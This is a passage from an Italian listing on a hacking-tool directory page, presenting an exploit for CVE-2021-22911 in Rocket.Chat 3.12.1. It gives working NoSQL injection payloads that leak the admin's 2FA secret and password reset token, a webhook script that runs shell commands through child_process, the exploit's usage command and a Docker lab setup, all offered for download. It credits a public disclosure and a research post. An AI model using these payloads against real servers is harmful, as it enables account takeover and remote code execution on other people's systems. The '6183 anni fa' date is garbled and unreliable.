Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-22911 — Iniezione NoSQL cieca pre-autenticazione che porta all'esecuzione di codice remoto in Rocket Chat 3.12.1 | Kitploit
Strumenti/GitHubGitHub/csenox/cve-2021-22911
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Iniezione NoSQL cieca pre-autenticazione che porta all'esecuzione di codice remoto in Rocket Chat 3.12.1

Vedi Repository
6183 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-22911

Iniezione NoSQL cieca pre-autenticazione che porta all'esecuzione remota di codice in Rocket Chat 3.12.1

  • Il metodo getPasswordPolicy è vulnerabile ad attacchi di iniezione NoSQL e non richiede autenticazione/autorizzazione. Può essere utilizzato per assumere il controllo di account tramite la divulgazione dei token di reset della password. L'assunzione del controllo di un account amministratore porta all'esecuzione remota di codice.

Spiegazione

  1. Dirottamento dell'account utente ( Non autenticato )
  • C'è un'iniezione NoSQL nell'endpoint getPasswordPolicy nel parametro token del reset della password, che accetta un oggetto json permettendoci di usare l'operatore $regex. Che usiamo per eseguire un'iniezione NoSQL cieca per ottenere il token di reset.
  1. Escalation dei privilegi ad admin ( Autenticato )
  • Quindi è molto probabile che l'utente admin sia protetto da 2FA. Quindi anche se cambiamo la password dell'admin tramite (1), al login verrà richiesto il codice 2FA.

  • L'endpoint API users.list accetta un parametro query vulnerabile all'iniezione NoSQL. Siamo anche in grado di recuperare dati generando un errore.

  • Eseguiamo la seguente query per ottenere il segreto 2FA dell'admin: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Successivamente eseguiamo (1) per reimpostare la password dell'admin e usiamo il segreto 2FA per generare il codice che possiamo usare per accedere.

  • Aggiornato: puoi anche recuperare il token di reset nello stesso modo in cui hai recuperato il segreto 2FA: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE ( Autenticato - Admin )
  • Rocket.Chat ha una funzionalità chiamata Integrations che consente di creare webhook in entrata e in uscita. A questi webhook possono essere associati script che vengono eseguiti quando il webhook viene attivato.
  • Creiamo un'integrazione con il seguente script:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Successivamente attiviamo il webhook per ottenere la RCE :)

Utilizzo

  • Avrai bisogno dell'email di un utente con privilegi bassi che non ha configurato il 2FA. ( -u )
  • Dovrai anche conoscere l'email dell'amministratore. Nessun problema se l'admin è protetto con 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Ambiente

  • Testato su Rocket Chat 3.12.1
  • Creazione del proprio ambiente di test usando docker:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Abilita la Password Policy
  • Abilita il 2FA per l'Admin
  • Registra un utente normale.

NOTA: se non vuoi che l'Amministratore sia protetto con 2FA puoi fare quanto segue.

  1. Invia l'email di password dimenticata
  2. Ottieni il token di reset per l'admin
  3. Cambia la password usando il token di reset recuperato
root@kitploit:~
# Account Admin Preso in Controllo [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Crediti

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Scarica lo strumento